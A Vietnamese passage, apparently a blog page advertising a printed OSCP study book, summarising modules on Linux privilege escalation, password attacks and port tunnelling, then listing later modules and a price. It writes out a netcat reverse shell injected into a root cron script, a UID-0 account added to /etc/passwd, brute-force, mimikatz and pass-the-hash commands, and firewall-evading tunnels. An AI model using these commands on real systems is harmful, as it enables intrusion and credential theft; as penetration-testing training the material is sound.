  6. Chạy khai thác: exploit.exe.
  7. Kiểm tra đặc quyền: whoami. Nếu thành công, đặc quyền sẽ được nâng lên NT Authority\system.

4. Các ví dụ về Leo thang Đặc quyền trên Linux

4.1. Hiểu về Đặc quyền của Linux

  • “Everything is a file”: Hầu hết các tài nguyên Linux được biểu diễn trong hệ thống tệp.
  • Quyền người dùng và nhóm: Mọi tệp tuân theo quyền của người dùng và nhóm dựa trên ba khả năng: read, write, và execute.

4.2. Quyền tệp không an toàn: Nghiên cứu điển hình Cron

  • Kỹ thuật: Khai thác quyền tệp không an toàn trên các tác vụ cron chạy với đặc quyền root.
  • Lỗ hổng: Các quản trị viên hệ thống thường tạo script cho cron jobs với quyền không an toàn, cho phép người dùng có đặc quyền thấp hơn sửa đổi chúng.
  1. Quá trình khai thác:Kiểm tra các tác vụ cron đã chạy bằng /var/log/cron.log (grep “CRON” /var/log/cron.log). Phát hiện script (ví dụ: user_backups.sh trong /var/scripts/) được thực thi bởi root định kỳ (ví dụ: 5 phút một lần).
  2. Kiểm tra nội dung và quyền của script: cat /var/scripts/user_backups.sh và ls -lah /var/scripts/user_backups.sh. Phát hiện quyền ghi cho mọi người (-rwxrwxrw-).
  3. Chỉnh sửa script để thêm một lệnh reverse shell (ví dụ: echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.0.4 1234 >/tmp/f” >> user_backups.sh).
  4. Thiết lập trình lắng nghe trên máy tấn công Kali (nc -lnvp 1234).
  5. Chờ cron job thực thi. Sau khi thực thi, một shell root sẽ được gửi về máy tấn công.

4.3. Quyền tệp không an toàn: Nghiên cứu điển hình /etc/passwd

  • Kỹ thuật: Khai thác quyền ghi trên tệp /etc/passwd.
  • Lỗ hổng: Theo lịch sử, hàm băm mật khẩu được lưu trữ trong /etc/passwd có thể đọc được trên thế giới. Nếu băm mật khẩu có trong cột thứ hai của bản ghi người dùng /etc/passwd, nó được coi là hợp lệ để xác thực và được ưu tiên hơn /etc/shadow. Nếu có quyền ghi, có thể đặt mật khẩu tùy ý cho bất kỳ tài khoản nào.
  1. Quá trình khai thác:Tạo hàm băm mật khẩu bằng openssl passwd <mật_khẩu>. Ví dụ: openssl passwd evil tạo AK24fcSx2Il3I.
  2. Thêm một dòng vào /etc/passwd với tài khoản siêu người dùng mới và hàm băm mật khẩu (echo “root2:AK24fcSx2Il3I:0:0:root:/root:/bin/bash” >> /etc/passwd). UID và GID 0 cấp đặc quyền root.
  3. Kiểm tra quyền truy cập root bằng cách chuyển sang người dùng mới: su root2 và sau đó id.

4.4. Lỗ hổng Kernel: Nghiên cứu điển hình CVE-2017-1000112

  • Kỹ thuật: Khai thác lỗ hổng kernel để nâng cao đặc quyền. Thành công phụ thuộc vào việc khớp chính xác phiên bản kernel và hệ điều hành.
  1. Quá trình khai thác:Thu thập thông tin chung về mục tiêu: cat /etc/issue. Ví dụ: Ubuntu 16.04.3 LTS.
  2. Kiểm tra phiên bản kernel và kiến trúc hệ thống: uname -r (ví dụ: 4.8.0-58-generic) và arch (ví dụ: x86_64).
  3. Sử dụng searchsploit linux kernel ubuntu 16.04 trên Kali Linux để tìm các khai thác phù hợp. Phát hiện khai thác exploits/linux_x86-64/local/43418.c (CVE-2017-1000112).
  4. Biên dịch mã C/C++ trên Linux: Chuyển khai thác sang đích và biên dịch bằng gcc: gcc 43418.c -o exploit.
  5. Chạy khai thác: ./exploit.
  6. Kiểm tra đặc quyền: whoami. Nếu thành công, đặc quyền sẽ được nâng từ người dùng tiêu chuẩn lên root.

5. Kết luận

Mô-đun này đã bao gồm khái niệm leo thang đặc quyền trên cả hệ điều hành Windows và Linux, cũng như các kiến trúc khác nhau. Nó đã trình bày các kỹ thuật liệt kê thủ công và tự động để tiết lộ thông tin cần thiết cho các loại tấn công này. Ngoài ra, nó đã chứng minh quy trình biên dịch cho cả hai hệ điều hành, trình diễn một số cuộc tấn công leo thang đặc quyền và các đợt leo thang đặc quyền khác nhau mà hoàn toàn không yêu cầu lỗ hổng phần mềm.


19. Password Attacks

  • Mục tiêu: Tấn công mật khẩu.
  • Nội dung: Brute-force, dictionary, hash cracking với John, Hashcat.
  • Ứng dụng: Lấy quyền truy cập hệ thống hoặc ứng dụng.

Các cuộc tấn công mật khẩu và kỹ thuật phá vỡ

1. Giới thiệu về Tấn công Mật khẩu

Tấn công mật khẩu là một phương pháp cơ bản để có được quyền truy cập trái phép vào các tài khoản người dùng hoặc dịch vụ bằng cách khám phá thông tin xác thực hợp lệ. Mục tiêu chính là tìm ra và sử dụng mật khẩu hợp lệ.

Hai cách tiếp cận phổ biến:

  • Tấn công từ điển (Dictionary Attack): Ưu tiên tốc độ, sử dụng các danh sách từ có sẵn hoặc tùy chỉnh.
  • Brute Force: Ưu tiên độ bao phủ của mật khẩu bằng cách thử mọi tổ hợp ký tự có thể, nhưng tốn thời gian hơn.

Trong một số trường hợp, khi có quyền truy cập đặc quyền vào hệ thống, kẻ tấn công có thể trích xuất các password hashes và sử dụng chúng để bẻ khóa mật khẩu (password cracking) nhằm lấy mật khẩu cleartext hoặc thực hiện tấn công Pass-the-Hash (PtH) để xác thực mà không cần mật khẩu cleartext.

2. Wordlists (Danh sách từ)

Wordlists là các tệp văn bản chứa các từ được sử dụng làm đầu vào cho các chương trình kiểm tra mật khẩu. Hiệu quả của tấn công từ điển phụ thuộc vào việc tạo ra các danh sách từ có liên quan và gọn gàng, thay vì các danh sách khổng lồ, chung chung.

2.1. Standard Wordlists

Kali Linux bao gồm một số tệp từ điển trong thư mục /usr/share/wordlists/. Tuy nhiên, việc tạo danh sách từ tùy chỉnh có thể hiệu quả hơn nhiều.

  • Tạo danh sách từ tùy chỉnh: Có thể tăng hiệu quả bằng cách thêm các từ và cụm từ cụ thể liên quan đến tổ chức mục tiêu. Ví dụ: tên công ty, sản phẩm, địa điểm.
  • Công cụ cewl: Quét trang web để tìm các từ và cụm từ, sau đó xuất chúng ra một tệp văn bản.
  • Ví dụ: kali@kali:~$ cewl http://www.megacorpone.com -m 6 -w megacorp-cewl.txt

2.2. Biến đổi Wordlists với John the Ripper (JTR)

JTR là một công cụ bẻ khóa mật khẩu mạnh mẽ có khả năng tạo danh sách từ tùy chỉnh và áp dụng các quy tắc biến đổi. Điều này đặc biệt hữu ích khi phỏng đoán các chính sách mật khẩu (ví dụ: yêu cầu số ở cuối mật khẩu).

  • Tạo quy tắc biến đổi: Sửa đổi tệp cấu hình JTR (/etc/john/john.conf) để thêm các quy tắc biến đổi. Ví dụ, để thêm hai chữ số vào cuối mỗi mật khẩu: $[0-9]$[0-9]
  • Áp dụng quy tắc: kali@kali:~$ john –wordlist=megacorp-cewl.txt –rules –stdout > mutated.txt
  • Việc biến đổi này có thể tạo ra hàng chục nghìn hoặc hàng triệu mật khẩu tiềm năng, tăng khả năng thành công của cuộc tấn công từ điển.

3. Brute Force Wordlists

Trong khi tấn công từ điển sử dụng danh sách các mật khẩu đã biết, tấn công brute force cố gắng thử mọi tổ hợp ký tự có thể. Mặc dù đảm bảo kết quả, nó cực kỳ tốn thời gian và tài nguyên.

Có thể tạo các danh sách từ brute force chứa mọi mật khẩu có thể phù hợp với một mẫu cụ thể.

  • Công cụ crunch: Một trình tạo danh sách từ mạnh mẽ trong Kali Linux.
  • Sử dụng các ký tự giữ chỗ (@ cho chữ thường, , cho chữ hoa, % cho số, ^ cho ký tự đặc biệt) để định nghĩa mẫu.
  • Ví dụ: Để tạo mật khẩu 8 ký tự theo mẫu [Capital Letter][2 x lower case letters][2 x special chars][3 x numeric]: kali@kali:~$ crunch 8 8 -t ,@@^^%%% Lệnh này có thể tạo ra một lượng dữ liệu khổng lồ (ví dụ: 160 GB).
  • Cũng có thể xác định tập hợp ký tự cụ thể (crunch 4 6 0123456789ABCDEF -o crunch.txt) hoặc sử dụng các bộ ký tự được định nghĩa sẵn (-f /usr/share/crunch/charset.lst mixalpha).

4. Các Phương pháp Tấn công Dịch vụ Mạng Phổ biến

Tấn công mật khẩu chống lại các dịch vụ mạng có thể gây ồn ào và nguy hiểm. Nhiều lần đăng nhập không thành công có thể tạo ra nhật ký, cảnh báo và thậm chí khóa tài khoản, gây gián đoạn cho người dùng hợp pháp. Cần cân nhắc rủi ro và trạng thái mạng mục tiêu trước khi tiến hành.

Để tấn công thành công, cần khớp tên người dùng, mật khẩu và tuân thủ giao thức xác thực liên quan. Các công cụ như THC-Hydra, Medusa, Crowbarspray giúp tự động hóa quá trình này. Việc lựa chọn công cụ phụ thuộc vào cú pháp, định dạng đầu ra và thử nghiệm trong môi trường kiểm tra.

4.1. HTTP htaccess Attack với Medusa

Medusa là một công cụ “nhanh, song song mạnh mẽ, modular, login brute forcer”.

  • Sử dụng Medusa: kali@kali:~$ medusa -h 10.11.0.22 -u admin -P /usr/share/wordlists/rockyou.txt -M http -m DIR:/admin-h: Địa chỉ IP mục tiêu
  • -u: Tên người dùng mục tiêu
  • -P: Đường dẫn đến wordlist
  • -M http: Giao thức HTTP
  • -m DIR:/admin: Thư mục được bảo vệ bằng htaccess

4.2. Remote Desktop Protocol (RDP) Attack với Crowbar

Crowbar (trước đây là Levye) được thiết kế chủ yếu cho khóa SSH nhưng cũng hiệu quả cho RDP trên các phiên bản Windows hiện đại.

  • Sử dụng Crowbar: kali@kali:~$ crowbar -b rdp -s 10.11.0.22/32 -u admin -C ~/password-file.txt -n 1-b rdp: Giao thức RDP
  • -s: Máy chủ mục tiêu
  • -u: Tên người dùng
  • -C: Đường dẫn đến wordlist
  • -n 1: Số luồng (thường là 1 cho RDP do hạn chế giao thức).
  • Crowbar hỗ trợ các giao thức như OpenVPN, RDP, khóa SSH và khóa VNC.

4.3. SSH Attack với THC-Hydra

THC-Hydra là một công cụ tấn công dịch vụ mạng mạnh mẽ, hỗ trợ nhiều giao thức xác thực.

  • Sử dụng Hydra cho SSH: kali@kali:~$ hydra -l kali -P /usr/share/wordlists/rockyou.txt ssh://127.0.0.1-l: Tên người dùng mục tiêu
  • -P: Đường dẫn đến wordlist
  • ssh://127.0.0.1: Giao thức và địa chỉ IP mục tiêu.
  • Hydra hỗ trợ hàng chục dịch vụ khác nhau như HTTP, FTP, IMAP, MySQL, SMB, Telnet, VNC, v.v.

4.4. HTTP POST Attack với THC-Hydra

Khi tấn công biểu mẫu đăng nhập web bằng phương thức HTTP POST, sử dụng module http-form-post. Cần điều tra ứng dụng web để xác định URL xử lý POST, tên tham số biểu mẫu (ví dụ: user, pass) và chuỗi điều kiện cho biết đăng nhập không thành công.

  • Xác định cú pháp: http-form-post “/form/frontpage.php:user=admin&pass=^PASS^:INVALID LOGIN”/form/frontpage.php: URL xử lý POST.
  • user=admin&pass=^PASS^: Các tham số biểu mẫu, ^PASS^ là placeholder cho mật khẩu từ wordlist.
  • INVALID LOGIN: Chuỗi xuất hiện khi đăng nhập không thành công.
  • Thực thi Hydra cho HTTP POST: kali@kali:~$ hydra 10.11.0.22 http-form-post “/form/frontpage.php:user=admin&pass=^PASS^:INVALID LOGIN” -l admin -P /usr/share/wordlists/rockyou.txt -vV -f

5. Tận dụng Password Hashes

Password hashes là giá trị băm cố định được tạo ra từ mật khẩu cleartext bằng hàm băm mật mã một chiều. Các hệ thống thường lưu trữ băm thay vì mật khẩu cleartext để tăng cường bảo mật.

5.1. Truy xuất Password Hashes

  • Xác định loại băm: Công cụ hashid giúp xác định định dạng băm dựa trên độ dài, tập ký tự và ký tự đặc biệt.
  • Ví dụ: kali@kali:~$ hashid c43ee559d69bc7f691fe2fbfe8a5ef0a
  • kali@kali:~$ hashid ‘$6$l5bL6XIASslBwwUD$bCxeTlbhTH76wE.bI66aMYSeDXKQ8s7JNFwa1s1KkTand6ZsqQKAF3G0tHD9bd59e5NAz/s7DQcAojRTWNpZX0’ (phát hiện SHA-512 Crypt)
  • Linux Password Hashes: Thường được lưu trữ trong tệp /etc/shadow (yêu cầu quyền root để đọc).
  • root:$6$Rw99zZ2B$AZwfboPWM6z2tiBeK.EL74sivucCa8YhCrXGCBoVdeYUGsf8iwNxJkr.wTLDjI5poygaUcLaWtP/gewQkO7jT/:17564:0:99999:7:::
  • $6 tham chiếu thuật toán SHA-512. Các trường con bao gồm salt (giá trị ngẫu nhiên được sử dụng cùng với mật khẩu cleartext để tính toán hash, ngăn chặn tấn công hash-lookup).
  • Windows Password Hashes: Được lưu trữ trong Security Accounts Manager (SAM).
  • Windows NT đến Windows 2003 lưu trữ cả băm LAN Manager (LM)NT LAN Manager (NTLM). LM yếu hơn do chia mật khẩu dài thành hai chuỗi, chuyển đổi sang chữ hoa và không có salt.
  • Từ Windows Vista trở đi, LM bị vô hiệu hóa mặc định, chỉ sử dụng NTLM. NTLM phân biệt chữ hoa chữ thường, hỗ trợ Unicode và không chia băm, nhưng vẫn không được muối trong SAM.
  • Công cụ mimikatz: Được sử dụng để trích xuất password hashes từ bộ nhớ của Local Security Authority Subsystem Service (LSASS) trên Windows.
  • Yêu cầu đặc quyền quản trị (privilege::debug) và nâng cấp token bảo mật lên SYSTEM (token::elevate).
  • Lệnh: lsadump::sam để kết xuất cơ sở dữ liệu SAM.

5.2. Passing the Hash in Windows (PtH)

Kỹ thuật PtH cho phép kẻ tấn công xác thực vào một mục tiêu từ xa bằng cách sử dụng tên người dùng và băm NTLM/LM hợp lệ thay vì mật khẩu cleartext. Điều này khả thi vì băm NTLM/LM không được muối và giữ nguyên giữa các phiên. Kẻ tấn công có thể sử dụng băm từ một hệ thống để xác thực trên một hệ thống khác có cùng tài khoản và mật khẩu.

  • Công cụ pth-winexe: Một phiên bản sửa đổi của winexe thực hiện xác thực bằng giao thức SMB.
  • Ví dụ: kali@kali:~$ pth-winexe -U offsec%aad3b435b51404eeaad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e //10.11.0.22 cmd
  • offsec: Tên người dùng.
  • aad3b435b51404eeaad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e: Băm LM và NTLM tương ứng.
  • //10.11.0.22 cmd: Mục tiêu và lệnh cần thực thi (ví dụ: lấy shell lệnh từ xa).

5.3. Password Cracking (Bẻ khóa mật khẩu)

Bẻ khóa mật khẩu là quá trình khôi phục mật khẩu cleartext từ hash đã lưu trữ.

  • Quá trình: Tạo bản tóm tắt thông báo (hash) cho từng từ trong wordlist và so sánh với hash thu được từ hệ thống đích.
  • Salt: Nếu hash được muối và giá trị salt không được biết, việc bẻ khóa trở nên cực kỳ phức tạp. Tuy nhiên, trong thực tế, salt thường được thu thập cùng với hash.
  • Công cụ John the Ripper (JTR): Hỗ trợ hàng chục định dạng mật khẩu.
  • Brute Force thuần túy: sudo john hash.txt –format=NT (tốn thời gian)
  • Tấn công từ điển: john –wordlist=/usr/share/wordlists/rockyou.txt hash.txt –format=NT
  • Với quy tắc biến đổi: john –rules –wordlist=/usr/share/wordlists/rockyou.txt hash.txt –format=NT
  • Để bẻ khóa hash Linux: Kết hợp tệp passwd và shadow bằng unshadow trước (unshadow passwd-file.txt shadow-file.txt > unshadowed.txt). Sau đó, chạy JTR với tệp đã unshadowed.
  • Tăng tốc độ: Sử dụng tùy chọn –fork (đa luồng trên một máy) hoặc –node (chia công việc trên nhiều máy) để tận dụng nhiều CPU.
  • Rainbow Tables: Bảng chứa các hàm băm được tính toán trước để biến việc bẻ khóa thành một thao tác tra cứu đơn giản (đánh đổi không gian lưu trữ lấy tốc độ).
  • Hashcat: Công cụ bẻ khóa GPU cực kỳ mạnh mẽ, tận dụng sức mạnh của cả CPU và GPU để đạt tốc độ đáng kinh ngạc.
  • Đạt tốc độ hàng tỷ hash mỗi giây cho các thuật toán như MD5, SHA1, NTLM.
  • Một giàn máy tính với nhiều GPU có thể đạt tốc độ hàng trăm tỷ hash NTLM mỗi giây.

6. Tổng kết

Thành công trong tấn công mật khẩu đòi hỏi sự hiểu biết sâu sắc về các công cụ và kỹ thuật, cũng như khả năng áp dụng chúng một cách khôn ngoan. Điều này bao gồm việc cân bằng giữa tốc độ và độ chính xác, và ưu tiên sự an toàn của môi trường sản xuất của khách hàng trong quá trình kiểm tra thâm nhập. Việc lập hồ sơ mật khẩu chi tiết có thể cải thiện đáng kể tỷ lệ thành công.


20. Port Redirection and Tunneling

  • Mục tiêu: Vượt tường lửa và lọc mạng.
  • Nội dung: SSH tunneling, port forwarding, pivoting.
  • Ứng dụng: Tấn công hệ thống bên trong mạng nội bộ.

Chương này cung cấp một cái nhìn tổng quan chi tiết về các khái niệm và kỹ thuật của chuyển hướng cổng (port forwarding) và đường hầm (tunneling), bao gồm các phương pháp triển khai trên cả hệ điều hành Linux và Windows, cũng như cách xử lý các hạn chế mạng khác nhau như tường lửa và kiểm tra gói sâu (Deep Packet Inspection – DPI). Mục tiêu chính là cung cấp các công cụ cần thiết để thao túng luồng lưu lượng truy cập trong môi trường mạng bị hạn chế.

Các Chủ đề Chính và Ý tưởng Quan trọng

1. Giới thiệu về Chuyển hướng Cổng và Đường hầm

  • Mục đích: Các kỹ thuật này được sử dụng để điều khiển luồng định hướng của lưu lượng mục tiêu, đặc biệt hữu ích trong các môi trường mạng bị hạn chế.
  • Đường hầm (Tunneling): Là quá trình đóng gói một giao thức bên trong một giao thức khác. Điều này cho phép thực hiện một giao thức nhất định qua một mạng phân phối không tương thích hoặc cung cấp một đường dẫn an toàn qua một mạng không đáng tin cậy.
  • Khái niệm khó hiểu: Các khái niệm này có thể khó hiểu và yêu cầu sự tập trung cao độ để nắm vững.

2. Chuyển tiếp Cổng (Port Forwarding)

Chuyển tiếp cổng là kỹ thuật thao túng lưu lượng đơn giản nhất, trong đó lưu lượng truy cập dành cho một địa chỉ IP và cổng được chuyển hướng đến một địa chỉ IP và cổng khác.

2.1. RINETD (trên Linux)

  • Trường hợp sử dụng: Thường được sử dụng khi một máy chủ bị xâm nhập có kết nối Internet nhưng một máy khách nội bộ thì không. Mục tiêu là chuyển tiếp lưu lượng từ máy chủ có Internet sang máy khách nội bộ để truy cập các tài nguyên bên ngoài hoặc luân chuyển qua mạng nội bộ.
  • Cấu hình: rinetd sử dụng tệp cấu hình /etc/rinetd.conf để định nghĩa các quy tắc chuyển tiếp. Mỗi quy tắc yêu cầu bốn tham số: bindaddress, bindport, connectaddress, và connectport.
  • Ví dụ: “0.0.0.0 80 216.58.207.142 80” sẽ chuyển hướng tất cả lưu lượng nhận được trên cổng 80 của máy chủ Kali đến 216.58.207.142:80.
  • Lợi ích: Đơn giản hóa quá trình di chuyển công cụ tấn công và trích xuất dữ liệu từ các máy khách không có Internet.

3. Đường hầm SSH (SSH Tunneling)

Giao thức SSH là một trong những giao thức phổ biến nhất để tạo đường hầm và chuyển tiếp cổng do khả năng tạo các đường hầm được mã hóa và hỗ trợ các kênh giao tiếp hai chiều.

3.1. SSH Local Port Forwarding

  • Mô tả: Cho phép chuyển tiếp một cổng cục bộ đến một máy chủ từ xa bằng SSH.
  • Cú pháp: ssh -N -L [bind_address:]port:host:hostport [username@address]
  • Trường hợp sử dụng: Truy cập một dịch vụ trên mạng nội bộ từ máy tấn công Kali thông qua một máy Linux bị xâm nhập, ngay cả khi dịch vụ đó bị tường lửa chặn trực tiếp.
  • Ví dụ: Chuyển tiếp cổng 445 (SMB) trên máy Kali đến cổng 445 trên một Windows Server nội bộ thông qua phiên SSH đến máy Linux bị xâm nhập. Mọi truy vấn SMB đến máy Kali trên cổng 445 sẽ được chuyển tiếp qua đường hầm SSH đến máy Windows Server.
  • Lợi ích: Cho phép tương tác với các mục tiêu nội bộ từ máy tấn công Internet-connected, tận dụng các công cụ có sẵn trên máy tấn công và mã hóa toàn bộ giao dịch.

3.2. SSH Remote Port Forwarding

  • Mô tả: Mở một cổng ở phía từ xa của kết nối SSH và chuyển tiếp lưu lượng đến cổng đó về một cổng trên máy cục bộ của người khởi tạo SSH client.
  • Cú pháp: ssh -N -R [bind_address:]port:host:hostport [username@address]
  • Trường hợp sử dụng: Truy cập một dịch vụ trên máy nội bộ (ví dụ: MySQL trên cổng 3306) từ máy tấn công Kali, khi tường lửa chặn các kết nối SSH gửi đến máy nội bộ nhưng cho phép kết nối SSH gửi đi từ máy nội bộ đến máy Kali.
  • Ví dụ: Mở trình nghe trên TCP port 2221 trên máy Kali và chuyển tiếp các kết nối đến MySQL port (TCP 3306) trên máy Linux nội bộ.
  • Lợi ích: Vượt qua tường lửa chặn lưu lượng đến, cho phép truy cập các dịch vụ nội bộ từ máy tấn công thông qua đường hầm mã hóa. Có thể chạy với người dùng không phải root nếu ràng buộc các cổng cục bộ không đặc quyền (trên 1024).

3.3. SSH Dynamic Port Forwarding

  • Mô tả: Thiết lập một cổng lắng nghe cục bộ (SOCKS proxy) và đưa lưu lượng truy cập đến bất kỳ điểm đến từ xa nào thông qua việc sử dụng proxy.
  • Cú pháp: ssh -N -D <address to bind to>:<port to bind to> <username>@<SSH server address>
  • Trường hợp sử dụng: Nhắm mục tiêu nhiều cổng hoặc máy chủ trên mạng nội bộ mà không cần phải thiết lập các đường hầm riêng cho mỗi cổng/máy chủ.
  • Ví dụ: Tạo proxy SOCKS4 cục bộ trên máy Kali trên cổng TCP 8080. Sau đó, sử dụng ProxyChains để định tuyến các công cụ do thám và tấn công qua proxy này để quét mạng mục tiêu nội bộ.
  • ProxyChains: Là công cụ giúp định tuyến bất kỳ ứng dụng mạng nào thông qua proxy HTTP, SOCKS4 và SOCKS5. Cấu hình bằng cách chỉnh sửa /etc/proxychains.conf.
  • Lợi ích: Linh hoạt hơn so với chuyển tiếp cổng cục bộ, cho phép truy cập nhiều tài nguyên trên mạng mục tiêu mà không cần cấu hình đường hầm riêng lẻ.

4. PLINK.exe (trên Windows)

  • Mô tả: Một SSH client dòng lệnh dựa trên Windows (một phần của dự án PuTTY) để thực hiện chuyển tiếp cổng và tạo đường hầm trên hệ điều hành Windows.
  • Cú pháp: Tương tự như ứng dụng ssh dựa trên UNIX.
  • Ví dụ về chuyển tiếp cổng từ xa: plink.exe -ssh -l kali -pw ilak -R 10.11.0.4:1234:127.0.0.1:3306 10.11.0.4 để chuyển tiếp cổng 1234 trên máy Kali đến cổng MySQL trên máy Windows đích.
  • Xử lý tương tác: Lần đầu tiên kết nối, plink có thể yêu cầu xác nhận lưu khóa máy chủ. Trong một reverse shell, điều này có thể được tự động hóa bằng cmd.exe /c echo y | plink.exe …
  • Lợi ích: Cho phép kẻ tấn công tạo đường hầm và chuyển tiếp cổng từ một máy Windows bị xâm nhập.

5. NETSH (trên Windows)

  • Mô tả: Tiện ích dòng lệnh có sẵn trên mọi phiên bản Windows hiện đại, được sử dụng để chuyển tiếp cổng. Yêu cầu đặc quyền SYSTEM.
  • Điều kiện: Dịch vụ IP Helper phải đang chạy và hỗ trợ IPv6 phải được bật cho giao diện.
  • Cú pháp: Sử dụng ngữ cảnh netsh interface portproxy để thêm một proxy IPv4-to-IPv4 (v4tov4).
  • Ví dụ: netsh interface portproxy add v4tov4 listenport=4455 listenaddress=10.11.0.22 connectport=445 connectaddress=192.168.1.110 để chuyển tiếp cổng 4455 trên máy Windows bị xâm nhập đến cổng 445 trên Windows Server nội bộ.
  • Tường lửa Windows: Theo mặc định, tường lửa sẽ chặn các kết nối đến. Với đặc quyền SYSTEM, có thể thêm quy tắc tường lửa để cho phép lưu lượng: netsh advfirewall firewall add rule name=”forward_port_rule” protocol=TCP dir=in localip=10.11.0.22 localport=4455 action=allow
  • Lợi ích: Cung cấp khả năng chuyển tiếp cổng cục bộ mạnh mẽ trên các hệ thống Windows mà không cần công cụ bên ngoài, đặc biệt hữu ích khi đã có quyền SYSTEM.

6. HTTP Tunneling thông qua Kiểm tra Gói sâu (Deep Packet Inspection – DPI)

  • Thách thức: Các thiết bị kiểm tra gói sâu có thể chỉ cho phép các giao thức cụ thể (ví dụ: chỉ HTTP), chặn các đường hầm dựa trên SSH.
  • Giải pháp: Sử dụng HTTPTunnel để đóng gói lưu lượng bên trong các yêu cầu HTTP, tạo ra một “HTTP tunnel”.
  • Mô hình Client/Server: HTTPTunnel sử dụng mô hình client (htc) và server (hts).
  • Luồng giao thông phức tạp:
  1. Tạo một chuyển tiếp cổng cục bộ dựa trên SSH trên máy Linux bị xâm nhập, chuyển tiếp từ cổng cục bộ (ví dụ: 8888) đến dịch vụ đích trên mạng nội bộ (ví dụ: RDP trên Windows Server 3389). Lưu ý: Giao thức không quan trọng ở đây vì lưu lượng này không bị DPI ảnh hưởng.
  2. Thiết lập máy chủ HTTPTunnel (hts) trên máy Linux bị xâm nhập để lắng nghe trên một cổng được phép bởi DPI (ví dụ: 1234), giải mã lưu lượng HTTP đến và chuyển hướng nó đến cổng cục bộ đã tạo ở bước 1 (localhost:8888).
  3. Thiết lập ứng dụng khách HTTPTunnel (htc) trên máy tấn công Kali, lắng nghe trên một cổng cục bộ (ví dụ: 8080), đóng gói lưu lượng vào HTTP và gửi nó qua tường lửa đến máy chủ HTTPTunnel trên máy Linux bị xâm nhập (10.11.0.128:1234).
  • Kết nối: Sau khi thiết lập, kết nối RDP đến cổng 8080 trên máy Kali sẽ được đóng gói HTTP, gửi qua đường hầm HTTP đến máy Linux, giải mã và cuối cùng đến dịch vụ RDP của Windows Server.
  • Xác minh: Wireshark có thể được sử dụng để xác nhận rằng lưu lượng đang được đóng gói HTTP.
  • Lợi ích: Vượt qua các hạn chế giao thức của DPI, cho phép truyền dữ liệu qua các kênh chỉ cho phép HTTP.

7. Kết luận

Mô-đun này đã trang bị các công cụ và kỹ thuật cần thiết để thực hiện chuyển tiếp cổng và tạo đường hầm trên cả hệ điều hành Windows và *NIX. Những kỹ năng này rất quan trọng để bỏ qua các hạn chế đầu ra khác nhau và các thiết bị kiểm tra gói sâu trong môi trường mạng thực tế. Việc hiểu rõ luồng giao thông và cú pháp là cực kỳ quan trọng, đặc biệt trong các tình huống phức tạp như HTTP tunneling.


21. Active Directory Attacks

  • Mục tiêu: Tấn công AD.
  • Nội dung: Kerberoasting, Pass-the-Hash, DCsync.
  • Ứng dụng: Chiếm toàn bộ domain của doanh nghiệp.

22. The Metasploit Framework

  • Mục tiêu: Khai thác tự động với Metasploit.
  • Nội dung: Sử dụng module exploit, payload, post-exploitation.
  • Ứng dụng: Tiết kiệm thời gian khai thác và thu thập dữ liệu.

23. PowerShell Empire

  • Mục tiêu: Tấn công Windows qua PowerShell.
  • Nội dung: Persistence, credential dumping, keylogging.
  • Ứng dụng: Giữ quyền kiểm soát lâu dài.

24. Assembling the Pieces – Penetration Test Breakdown

  • Mục tiêu: Hoàn thiện quy trình pentest.
  • Nội dung: Từ recon đến báo cáo, best practices.
  • Ứng dụng: Áp dụng toàn bộ kỹ năng vào một dự án hoàn chỉnh.

25. Trying Harder – The Labs

  • Mục tiêu: Tối ưu hóa luyện tập lab OSCP.
  • Nội dung: Lập kế hoạch, chiến lược tấn công, ghi chép.
  • Ứng dụng: Đạt điểm tối đa trong phần lab thi OSCP.

Gói sản phẩm Security365

📘 Sách in 25 module (tiếng Việt, biên soạn chuẩn OSCP)
🎥 Kèm video bài giảng tổng quan & audio hướng dẫn chi tiết (tham khảo Chương 2)
💰 Giá: 750.000 VND
🏦 Thanh toán: TPBANK 0914433338 – Gửi UNC qua Zalo 0914433338

Bình luận về bài viết này

Thịnh hành